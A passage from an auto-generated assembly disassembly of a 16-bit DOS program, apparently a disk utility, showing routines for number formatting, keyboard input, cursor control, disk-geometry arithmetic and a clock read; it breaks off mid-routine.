sub_28 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_29 proc near
mov cx,2
mov es,data_25
cld ; Clear direction
cli ; Disable interrupts
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
sti ; Enable interrupts
retn
sub_29 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_30 proc near
clc ; Clear carry flag
mov word ptr ds:[1F0h],es
mov es,data_25
cmp ax,es:[di]
jne loc_186 ; Jump if not equal
push cs
pop ax
cmp ax,es:[di+2]
je loc_187 ; Jump if equal
loc_186:
stc ; Set carry flag
loc_187:
mov es,word ptr ds:[1F0h]
retn
sub_30 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_31 proc near
mov data_100,0F5h
mov data_97,9
mov data_95,1
loc_188:
mov al,data_95
cbw ; Convrt byte to word
mov word ptr ds:[1A9h],0
mov word ptr ds:[1ABh],ax
call sub_32
mov dh,byte ptr ds:[1AFh]
mov dl,7
sub dl,dh
mov dh,data_97
mov si,0EDh
call sub_14
mov si,data_100
mov di,3A0h
cld ; Clear direction
call sub_35
inc di
call sub_35
mov data_100,si
mov dh,data_97
mov dl,14h
mov si,3A0h
call sub_14
mov si,data_100
lodsw ; String [si] to ax
mov word ptr data_98,ax
mov data_100,si
mov word ptr ds:[1A9h],0
mov word ptr ds:[1ABh],ax
call sub_32
mov dh,byte ptr ds:[1AFh]
mov dl,2Dh ; '-'
sub dl,dh
mov dh,data_97
mov si,0EDh
call sub_14
mov bl,50h ; 'P'
xor bh,bh ; Zero register
cmp data_31,0
jne loc_189 ; Jump if not equal
shr bx,1 ; Shift w/zeros fill
loc_189:
dec bx
mov ax,2
mul bx ; dx:ax = reg * ax
mov bl,data_56
xor bh,bh ; Zero register
mul bx ; dx:ax = reg * ax
mov bl,data_53
add ax,bx
mov bx,word ptr data_98
cmp byte ptr ds:[2423h],1
je loc_190 ; Jump if equal
shl bx,1 ; Shift w/zeros fill
loc_190:
sub ax,bx
mov bx,200h
mul bx ; dx:ax = reg * ax
mov word ptr ds:[1A9h],dx
mov word ptr ds:[1ABh],ax
call sub_32
mov dh,byte ptr ds:[1AFh]
mov dl,44h ; 'D'
sub dl,dh
mov dh,data_97
mov si,0EDh
call sub_14
mov al,data_99
cmp data_95,al
jne loc_191 ; Jump if not equal
call sub_13
retn
loc_191:
inc data_95
inc data_97
jmp loc_188
sub_31 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_32 proc near
mov di,0EDh
call sub_33
mov word ptr ds:[1ADh],bx
mov byte ptr ds:[1AFh],bl
jz loc_195 ; Jump if zero
loc_192:
cld ; Clear direction
or al,30h ; '0'
stosb ; Store al to es:[di]
mov word ptr ds:[1A5h],0
mov word ptr ds:[1A7h],0
push di
mov di,word ptr ds:[1B0h]
add di,word ptr ds:[1B2h]
call sub_34
pop di
mov ax,word ptr ds:[1A7h]
sub word ptr ds:[1ABh],ax
jnc loc_193 ; Jump if carry=0
dec word ptr ds:[1A9h]
loc_193:
mov ax,word ptr ds:[1A5h]
sub word ptr ds:[1A9h],ax
dec word ptr ds:[1ADh]
cmp word ptr ds:[1ADh],0
je loc_195 ; Jump if equal
call sub_33
loc_194:
cmp bx,word ptr ds:[1ADh]
je loc_192 ; Jump if equal
push ax
mov al,30h ; '0'
stosb ; Store al to es:[di]
pop ax
dec word ptr ds:[1ADh]
cmp word ptr ds:[1ADh],0
jne loc_194 ; Jump if not equal
loc_195:
mov ax,word ptr ds:[1ABh]
or al,30h ; '0'
cld ; Clear direction
stosb ; Store al to es:[di]
mov al,0
stosb ; Store al to es:[di]
retn
sub_32 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_33 proc near
mov dx,word ptr ds:[1A9h]
mov ax,word ptr ds:[1ABh]
mov word ptr ds:[1B0h],0
mov word ptr ds:[1B2h],0
cmp dx,0
jne loc_196 ; Jump if not equal
cmp ax,2710h
jb loc_197 ; Jump if below
loc_196:
mov bx,2710h
mov word ptr ds:[1B0h],8
div bx ; ax,dx rem=dx:ax/reg
loc_197:
cmp ax,0Ah
jb loc_200 ; Jump if below
mov word ptr ds:[1B2h],6
xor dx,dx ; Zero register
mov bx,offset 1C8h
loc_198:
cmp ax,[bx]
jge loc_199 ; Jump if > or =
sub word ptr ds:[1B2h],2
sub bx,2
jmp short loc_198
loc_199:
mov bx,[bx]
div bx ; ax,dx rem=dx:ax/reg
loc_200:
mov bx,word ptr ds:[1B0h]
add bx,word ptr ds:[1B2h]
shr bx,1 ; Shift w/zeros fill
retn
sub_33 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_34 proc near
and al,0Fh
cbw ; Convrt byte to word
push ax
mov bx,offset 1C2h
mov bx,[bx+di]
mul bx ; dx:ax = reg * ax
add word ptr ds:[1A7h],ax
jnc loc_201 ; Jump if carry=0
inc dx
loc_201:
add word ptr ds:[1A5h],dx
mov bx,offset 1B4h
pop ax
mov bx,[bx+di]
mul bx ; dx:ax = reg * ax
add word ptr ds:[1A5h],ax
retn
sub_34 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_35 proc near
lodsb ; String [si] to al
call sub_36
stosw ; Store ax to es:[di]
lodsb ; String [si] to al
call sub_36
stosw ; Store ax to es:[di]
retn
sub_35 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_36 proc near
mov ah,al
and ah,0Fh
mov cl,4
shr al,cl ; Shift w/zeros fill
and al,0Fh
cmp al,0Ah
jge loc_202 ; Jump if > or =
add al,30h ; '0'
jmp short loc_203
db 90h
loc_202:
add al,37h ; '7'
loc_203:
cmp ah,0Ah
jge loc_204 ; Jump if > or =
add ah,30h ; '0'
jmp short loc_ret_205
db 90h
loc_204:
add ah,37h ; '7'
loc_ret_205:
retn
sub_36 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_37 proc near
mov al,data_29
mov bx,offset data_30
cbw ; Convrt byte to word
add bx,ax
mov al,[bx]
mov data_31,ax
retn
sub_37 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_38 proc near
mov ah,1
mov cx,7
int 10h ; Video display ah=functn 01h
; set cursor mode in cx
mov ah,3
mov bh,data_104
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
mov data_108,dh
mov data_109,dl
mov di,137h
mov data_101,0
loc_206:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,0Dh
jne loc_207 ; Jump if not equal
retn
loc_207:
cmp al,1Bh
jne loc_208 ; Jump if not equal
pop ax
jmp loc_41
loc_208:
cmp al,10h
je loc_209 ; Jump if equal
cmp ax,5300h
jne loc_210 ; Jump if not equal
loc_209:
call sub_41
call sub_41
jmp short loc_206
loc_210:
cmp ax,4B00h
je loc_211 ; Jump if equal
cmp al,8
jne loc_212 ; Jump if not equal
loc_211:
call sub_41
jmp short loc_206
loc_212:
cmp al,30h ; '0'
jb loc_213 ; Jump if below
cmp al,39h ; '9'
jg loc_213 ; Jump if >
cmp data_101,2
je loc_213 ; Jump if equal
cld ; Clear direction
stosb ; Store al to es:[di]
inc data_101
inc data_109
call sub_10
jmp short loc_206
loc_213:
call sub_11
jmp short loc_206
sub_38 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_39 proc near
mov si,offset data_33+6 ; (' ')
loc_214:
cmp al,0
je loc_215 ; Jump if equal
add si,7
dec al
jmp short loc_214
loc_215:
mov di,offset data_189
loc_216:
lodsb ; String [si] to al
cmp al,0
jne loc_217 ; Jump if not equal
retn
loc_217:
stosb ; Store al to es:[di]
sub_39 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_40 proc near
jmp short loc_216
sub_40 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_41 proc near
cmp data_101,0
je loc_ret_218 ; Jump if equal
dec di
dec data_101
dec data_109
call sub_42
mov al,20h ; ' '
call sub_10
call sub_42
loc_ret_218:
retn
sub_41 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_42 proc near
mov ah,2
mov bh,data_104
mov dh,data_108
mov dl,data_109
int 10h ; Video display ah=functn 02h
; set cursor location in dx
retn
sub_42 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_43 proc near
push ds
mov ds,data_91
mov si,data_4e
mov di,offset data_115
mov cx,7
cld ; Clear direction
repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di]
cmp cx,0
je loc_219 ; Jump if equal
mov di,offset data_113
mov si,data_4e
mov cx,6
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
loc_219:
pop ds
call sub_44
mov di,offset data_115
mov si,data_92
mov cx,6
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_43 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_44 proc near
push es
mov si,data_92
mov es,data_91
mov di,data_4e
mov cx,6
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
pop es
retn
sub_44 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_45 proc near
call sub_28
jnc loc_220 ; Jump if carry=0
retn
loc_220:
call sub_43
retn
sub_45 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_46 proc near
call sub_28
jnc loc_221 ; Jump if carry=0
clc ; Clear carry flag
retn
loc_221:
cmp data_187,6666h
je loc_222 ; Jump if equal
mov data_92,3CEh
mov ah,data_65
call sub_47
mov byte ptr data_184+26h,al ; ('')
mov byte ptr data_184+28h,ah ; ('')
call sub_43
retn
loc_222:
cmp data_92,3AAh
jne loc_ret_223 ; Jump if not equal
mov data_92,0D5h
call sub_44
loc_ret_223:
retn
sub_46 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_47 proc near
cmp ah,0Ah
jl loc_226 ; Jump if <
mov al,31h ; '1'
loc_224:
sub ah,0Ah
cmp ah,0Ah
jl loc_225 ; Jump if <
add al,1
jmp short loc_224
loc_225:
or ah,30h ; '0'
retn
loc_226:
or ah,30h ; '0'
mov al,20h ; ' '
retn
sub_47 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_48 proc near
cld ; Clear direction
mov di,offset 14Dh
loc_227:
mov al,data_65
stosb ; Store al to es:[di]
mov al,data_64
stosb ; Store al to es:[di]
mov al,data_66
stosb ; Store al to es:[di]
mov al,2
stosb ; Store al to es:[di]
inc data_66
mov al,data_66
cmp al,data_56
jle loc_227 ; Jump if < or =
mov data_66,1
retn
sub_48 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_49 proc near
pop ax
mov word ptr ds:[221h],ax
mov data_82,21E2h
mov al,byte ptr ds:[21Ah]
mov data_66,al
mov data_68,28E9h
mov data_67,1FFh
mov data_69,4Ah ; 'J'
mov data_70,0C5h
mov data_85,27F1h
call sub_75
mov data_82,220Dh
mov ax,word ptr ds:[242Ch]
mov cl,byte ptr ds:[21Ah]
add cl,al
cmp cl,data_56
jle loc_228 ; Jump if < or =
inc data_64
sub cl,data_56
loc_228:
mov data_66,cl
call sub_75
inc byte ptr ds:[21Ah]
jmp word ptr ds:[221h]
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_50:
mov si,offset data_220
mov cx,word ptr ds:[21Dh]
inc cx
sub cx,si
jbe loc_229 ; Jump if below or =
mov di,offset data_214
cld ; Clear direction
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
xor al,al ; Zero register
mov cx,1Bh
mov di,offset data_220
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
loc_229:
add word ptr ds:[21Fh],200h
mov word ptr ds:[21Dh],0
retn
sub_49 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_51 proc near
mov al,data_65
dec al
cbw ; Convrt byte to word
mov bl,4
div bl ; al, ah rem = ax/reg
mov cl,ah
cbw ; Convrt byte to word
mov di,ax
rol cl,1 ; Rotate
add cl,data_64
mov al,80h
ror al,cl ; Rotate
or byte ptr ds:[139h][di],al
retn
sub_51 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_52 proc near
mov data_65,0
mov data_64,0
mov data_66,1
mov data_94,0
mov data_63,0
mov data_59,0F6h
retn
sub_52 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_53 proc near
xor al,al ; Zero register
mov cx,200h
mov di,offset data_214
cld ; Clear direction
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
retn
sub_53 endp
mov di,data_100
mov ax,0D1BAh
cld ; Clear direction
stosw ; Store ax to es:[di]
stosw ; Store ax to es:[di]
mov ax,data_54
stosw ; Store ax to es:[di]
mov data_100,di
inc data_95
inc data_99
retn
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_54 proc near
mov word ptr data_98,0
mov si,offset 139h
cld ; Clear direction
loc_230:
lodsb ; String [si] to al
mov cl,4
loc_231:
mov ah,al
and ah,3
cmp ah,3
je loc_232 ; Jump if equal
cmp ah,0
je loc_233 ; Jump if equal
mov bl,data_56
call sub_57
jmp short loc_233
db 90h
loc_232:
mov bl,data_56
shl bl,1 ; Shift w/zeros fill
call sub_57
loc_233:
dec cl
jz loc_234 ; Jump if zero
shr al,1 ; Shift w/zeros fill
shr al,1 ; Shift w/zeros fill
jmp short loc_231
loc_234:
cmp si,14Dh
jl loc_230 ; Jump if <
retn
sub_54 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_55 proc near
push cx
mov al,byte ptr ds:[2423h]
cbw ; Convrt byte to word
mov bx,ax
mov al,data_53
cbw ; Convrt byte to word
add ax,word ptr ds:[223h]
xor dx,dx ; Zero register
div bx ; ax,dx rem=dx:ax/reg
call sub_59
xor dx,dx ; Zero register
mov bx,2
div bx ; ax,dx rem=dx:ax/reg
call sub_58
mov bx,3
mul bx ; dx:ax = reg * ax
add ax,3
add ax,cx
pop cx
retn
sub_55 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_56 proc near
mov ah,data_95
inc ah
call sub_47
mov data_190,ax
retn
sub_56 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_57 proc near
xor bh,bh ; Zero register
cmp data_56,9
jne loc_235 ; Jump if not equal
clc ; Clear carry flag
rcr bx,1 ; Rotate thru carry
adc bx,0
loc_235:
add word ptr data_98,bx
retn
sub_57 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_58 proc near
cmp dx,0
je loc_236 ; Jump if equal
mov cx,1
retn
loc_236:
mov cx,dx
retn
sub_58 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_59 proc near
test al,1
jz loc_237 ; Jump if zero
mov word ptr ds:[229h],2
retn
loc_237:
mov word ptr ds:[229h],0
retn
sub_59 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_60 proc near
mov di,offset 139h
xor al,al ; Zero register
mov cx,14h
cld ; Clear direction
repne stosb ; Rep zf=0+cx >0 Store al to es:[di]
retn
sub_60 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_61 proc near
mov si,data_31
mov bx,offset data_41
mov al,[bx+si]
mov byte ptr ds:[2423h],al
mov bx,offset data_47
mov al,[bx+si]
mov byte ptr ds:[242Bh],al
mov bx,offset data_39
mov al,[bx+si]
mov data_71,al
mov bx,offset data_43
mov al,[bx+si]
mov data_55,al
mov bx,offset data_44
mov al,[bx+si]
mov data_56,al
and ax,0FFh
mov word ptr ds:[242Eh],ax
mov bx,offset data_45
mov al,[bx+si]
mov data_57,al
mov bx,offset data_46
mov al,[bx+si]
mov data_58,al
mov bx,offset data_52
mov al,[bx+si]
mov data_53,al
shl si,1 ; Shift w/zeros fill
mov bx,offset data_48
mov ax,[bx+si]
mov word ptr ds:[2427h],ax
mov bx,offset data_40
mov ax,[bx+si]
mov data_61,ax
mov bx,offset data_37
mov ax,[bx+si]
mov word ptr data_60,ax
mov bx,69h
mov ax,[bx+si]
mov word ptr ds:[2429h],ax
mov bx,offset data_50
mov ax,[bx+si]
mov word ptr ds:[242Ch],ax
mov bx,offset data_51
mov ax,[bx+si]
mov data_54,ax
mov ah,4
int 1Ah ; Real time clock ah=func 04h
; get date cx=year, dx=mon/day
mov word ptr ds:[243Fh],dx
cmp data_31,0
jne loc_238 ; Jump if not equal
mov word ptr ds:[216h],143h
retn
loc_238:
